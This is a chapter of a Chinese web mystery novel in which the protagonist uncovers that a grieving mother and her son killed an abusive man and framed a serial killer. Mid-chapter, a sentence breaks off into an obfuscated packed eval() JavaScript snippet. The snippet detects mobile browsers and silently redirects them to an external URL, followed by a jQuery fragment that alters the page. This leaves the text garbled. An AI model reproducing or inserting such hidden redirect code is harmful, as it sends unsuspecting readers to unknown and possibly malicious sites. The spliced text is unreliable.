20. 第二个男朋友
作品:《谁才是我的男朋友》 “谢谢你来看我。”
烹煮好的热茶放在桌面,巴掌大的白瓷小杯散发着悠然的清香,白雾往上漂浮,模糊了彼此的面容。
元舒抬眸看向对面坐着的,面容恬静的中年女人。
龚老师,龚丽珍今年五十二岁了,比起同龄人,她更显年轻。暖色调的衣服,长发盘起,用一根筷子固定,露出高洁的额头和面庞,即使有皱纹,也是岁月留下的 ,更轻柔的痕迹。
元舒的视线略过低头倒茶的龚丽珍,她的身后,贴着几张全家福,有龚丽珍与丈夫,还有一对儿女的,有龚丽珍单独和儿女的,也有龚丽珍与柯文茜姐弟,以及五六岁的邹句的。
他们笑容灿烂,紧紧依偎着彼此的身体,在每一年、每一个重要的时刻都留下了幸福的痕迹。
龚丽珍的人生可以称得上平淡而幸福。即使早年丧夫,一个人带大两个孩子,但因为一技之长而小有名声,不说大富大贵,钱却也够花,儿女听话懂事,后半生应当儿孙满堂,安康快乐……如果女儿没有所嫁非人。
或许是察觉到元舒一直看向她身后的照片墙,龚丽珍主动开口:“茜茜五岁就开始学芭蕾了。”
元舒回神,看见龚丽珍起身去把放置在桌面上的一张相片拿过来,她走动时,似乎是因为受伤,步伐有些许艰缓,即使极力掩饰,也还是能看出几分奇怪。
元舒看向她的腿,长裤,棉拖,看不出什么来。
“她在上幼儿园的时候,因为被老师选中上表演节目,表演跳芭蕾的小天鹅,然后就央着我和她爸爸想学芭蕾。”
龚丽珍走到桌前坐下,桌子遮掩了她的身形。
她陷入回忆,“茜茜是我和她爸爸的第一个孩子,我们本来也不打算要其他孩子,小昊是当年他爸爸意外去世后留下的遗腹子。
在小昊没出生之前,茜茜是我们唯一的孩子,我们对她很宠爱,有求必应……芭蕾,她一跳就是二十年,二十三岁的时候,她成为了国际舞团的一员,我们很为她骄傲,小昊当时小学毕业,逢人就说自己姐姐是舞团的芭蕾舞演员。”
可以想象,当年的柯文茜是多么地耀眼。
“直到一次表演,邹嘉泽看上了茜茜,开始了追求。”龚丽珍脸上的笑容淡去,化为冰冷,“三年的甜蜜,换来了十三年的痛苦。”
龚丽珍看向元舒,问:“你觉得值吗?”
“……”
元舒清咳两声:“我不知道该怎么回答这个问题,对于结婚时的柯文茜来说,或许是值得的,但对于婚后的柯文茜来说,是不值得的,一个结论不能放在两个不同的时间场景里面来谈。”
“如果你是茜茜,在那天,你会做出怎么样的选择?”龚丽珍说,“爱情与生命,你选择哪一个?”
“我会选择比我自己还爱我自己的人。”元舒端起茶杯,轻轻吹了吹,抿口热茶,“如果他对不起我,他会自己去死。”
“……”
龚丽珍惊愕:“这世界上有这种人吗?”
“有吧。”元舒想了一下,“不过比较少,很多都是想跟我一起死的,所以我选择单身。”
“你是单身?”龚丽珍用惊奇不明的目光看他。
元舒知道她是想到了明飞尘。
明飞尘当然是他的男朋友,之一。
脚踏n条船的最终奥义跟解释是——单身。
不然怎么踏那么多条船?
元舒平静地想,况且无论是邬从律,还是明飞尘,以及其他的几个“男朋友”,归根究底都是原主的男朋友,又不是他的。
他想要,他们就可以是他的男朋友,他不想要,他们当然就跟他没有关系。
要不是因为杀人案,元舒早把他们都踹了,一个对象就很烦了,多来几个简直是世界末日。
“单不单身,不都是由我说了算吗?”所以元舒这样回答龚丽珍的问题。
龚丽珍怔愣片刻,失笑:“要是茜茜有你这种心态就好了,她就是……”
她眼神黯淡:“太轴了,认死理……小句跟她很像。”
元舒不知道该怎么安慰,只好又喝了两口茶。
龚丽珍也没再说话,而是端起茶杯,也开始喝茶。
两人相对无言。
龚丽珍知道元舒来的目的不仅仅是为了看她,或许是为了帮警局寻找案件线索,或许是来看热闹……那又怎么样呢?她来者不拒,只礼貌相待。
元舒也在等待,等待着……
砰——
门突然被打开,急促的喘息声伴随着喊声传来。
“妈?!你没事吧?”
龚丽珍扭头往玄关看去,诧异:“小昊?你怎么回来了?我?我没事啊。”
柯文昊扶着门框,闻言愣住,但很快,他就关上门,朝客厅走去。
他来到元舒面前,垂眸低头:“元先生,你来我家做什么?”
“来看望一下你们。”元舒面不改色。
“你什么时候来的?”
“半小时前。”
差不多比他拿到外卖骑手递给他纸条的时间稍微早一点。
柯文昊眸色深深地看着元舒,一言不发。
龚丽珍见状,估摸着柯文昊在外面是发生了什么事,干脆开口赶客:“元先生,时间不早了,小句也快放学了,待会儿我们还得去接小句,不方便招待你,你先回家吧,下次见面再聊。”
元舒没回话,而是问柯文昊:“我可以和你一起去接邹句吗?”
柯文昊沉默,龚丽珍蹙眉:“不用麻烦你……”
“可以。”
柯文昊答应了。
龚丽珍愕然,迟疑,“小昊?”
柯文昊对着龚丽珍摇头。
什么都没说,龚丽珍却像是懂得了什么,安静下来。
知子莫若母。
元舒看见龚丽珍的神情变得紧绷而警惕,眼中却像是盛放着淡淡的哀伤。他们猜出元舒来这里的目的是什么了。
“走吧。”柯文昊没再和龚丽珍说话,而是对元舒道。
元舒颔首:“走吧。”
邹句的学校离龚丽珍与柯文昊居住的小区并不算太远,开车半小时就到了。
他们到达学校门口时已经是下午四点,还有半小时才放学。
周围已经陆陆续续有家长在门口等了,但大多数都是老人或者保姆。
“小句从小到大,一直都是由管家和保姆送着上下学,偶尔我姐会来接他,带他到我们家里去玩。”
柯文昊说:“邹嘉泽不喜欢我们,觉得我们拉低了他的档次。”
说到这里时,柯文昊忍不住笑了。
元舒沉默以对。
柯文昊笑完,跟着安静了一会儿,突然喊:“元舒。”
元舒讶异,抬头看向柯文昊。
柯文昊一直都喊他元先生,没有喊过他全名。
“如果我也有钱就好了。”
傍晚四点多的阳光依旧灿烂到刺眼,柯文昊撑着伞站在元舒身旁,眼神温柔又平静,“这样我就会有很多办法,来解决难题。”
元舒抿唇:“可是有很多事情,是钱不能解决的。”
“我知道。”柯文昊摸了一下自己的脸颊,哎了声,“也只是有些而已。”
他像是放下了坠在心头的重石,对元舒笑道:“太热了,我们去便利店买瓶饮料吧。”
元舒迟疑,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239172|181879||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
但最后还是点头:“好。”
他们离开了学校门口,走向了旁边街道的便利店,在里面买了三瓶矿泉水,付完款,元舒拿起水扭头,却发现柯文昊居然不在他的身旁,消失了!
元舒赶忙往门口看,恰好看见对方离开的身影,顾不得太多,他一边摁着耳边戴着的蓝牙耳机,一边快步往外走。
结果一出门口,就被拽住了手臂拉向商铺与商铺之间的墙壁间隙形成的小巷口,与此同时,耳机也被抓下,狠狠摔在地上,一脚大力踩坏。
元舒挣脱抓着自己的手臂,震惊:“你做什么?”
“元舒。”柯文昊握住他的肩膀,目光如炬,“你认识他吗?”
元舒心里咯噔一下:“谁?”
“杀人凶手。”柯文昊道,“那张纸条,是你写的,还是谁?”
柯文昊口袋里面装着的,被揉成一团的,有着与杀人分尸案的凶手,有着相同字迹的纸条。
上面写着:借我的名头做事,可是需要付出代价的^v^
如果不是因为这张纸条,柯文昊也不会回家,暴露自己。
元舒抬眸跟他对视:“那么我也要问你,生日宴那天晚上,摆件里面塞的那张纸条究竟是谁写的?”
这话一出,柯文昊猛然惊醒:“你诈我?”
元舒早就猜出来真相,知道那张纸条是柯文昊模仿凶手的字迹写出来的,为的就是在杀死邹嘉泽后,把罪名栽赃到淮水区的杀人犯身上,撇清自己的关联。
当初田队第一次找柯文昊审讯时,给了对方凶手留下的卡片……为了混淆字迹,柯文昊还特地打湿了芭蕾舞者摆件里面塞的纸条。
而在警局审讯时,柯文昊所说的令邹嘉泽“过敏导致窒息”的预谋,也不全然是假的,蛋糕里面确实加入了邹嘉泽的过敏原——栗子粉,但柯文昊他们并没有把这个当做真正的计划,而是备选。
邹嘉泽有可能会拒绝吃蛋糕,也有可能身上常备药物,以柯文昊等人强烈的仇恨而言,这种大几率的可能性是需要慎重考虑的。
元舒不知道他们原本的打算是什么,但是在淮水区杀人分尸案出现的那一天,柯文昊就改变了计划。
——把一切栽赃到杀人犯身上,撇清自己的关联,争取利益最大化。
那天晚上和尤明达见面的人是柯文昊,泳池派对晚上拉电闸的人也是柯文昊,而乔装打扮,用现金去购买大码男装与杂物的人,也是柯文昊。
他在购置作案用的衣服用具时,戴手套以防指纹泄露,用跟别人交换的现金打的,前往阜仙园的蔷薇花路边,将东西放下,再步行至小区等待,等待夜晚降临,等待他的另一个同伙穿上衣服,前往别墅,继续等待。
他们从小路进入别墅后院,等待着蛋糕烛火亮起——
“假装杀人犯,杀死邹嘉泽的人是龚老师,对吗?”元舒说。
柯文昊苦笑:“你已经知道真相了,为什么还要问呢。”
“你真的很聪明。”柯文昊松开他的肩膀,退后一步,看着他道,“可是你为什么要和我们作对呢?”
“因为真相很重要。”元舒说。
“恶人也需要真相吗?”柯文昊眼眶发红,咬牙怒道,“你知道吗?我姐姐死了,他还要说,是因为姐姐觉得自己没照顾好孩子,才抑郁自杀的,可这一切明明都是他逼的!”
“很多事,光论对错是没有用的。”元舒叹气,“你……你们还是自首吧。不然,你让邹句怎么办呢?”
“还有一个办法。”
柯文昊打断他的话,对着他摇头:“元舒,你很聪明,但你只是一个人。”
霎那间,元舒感觉一股利风自他脑后呼来——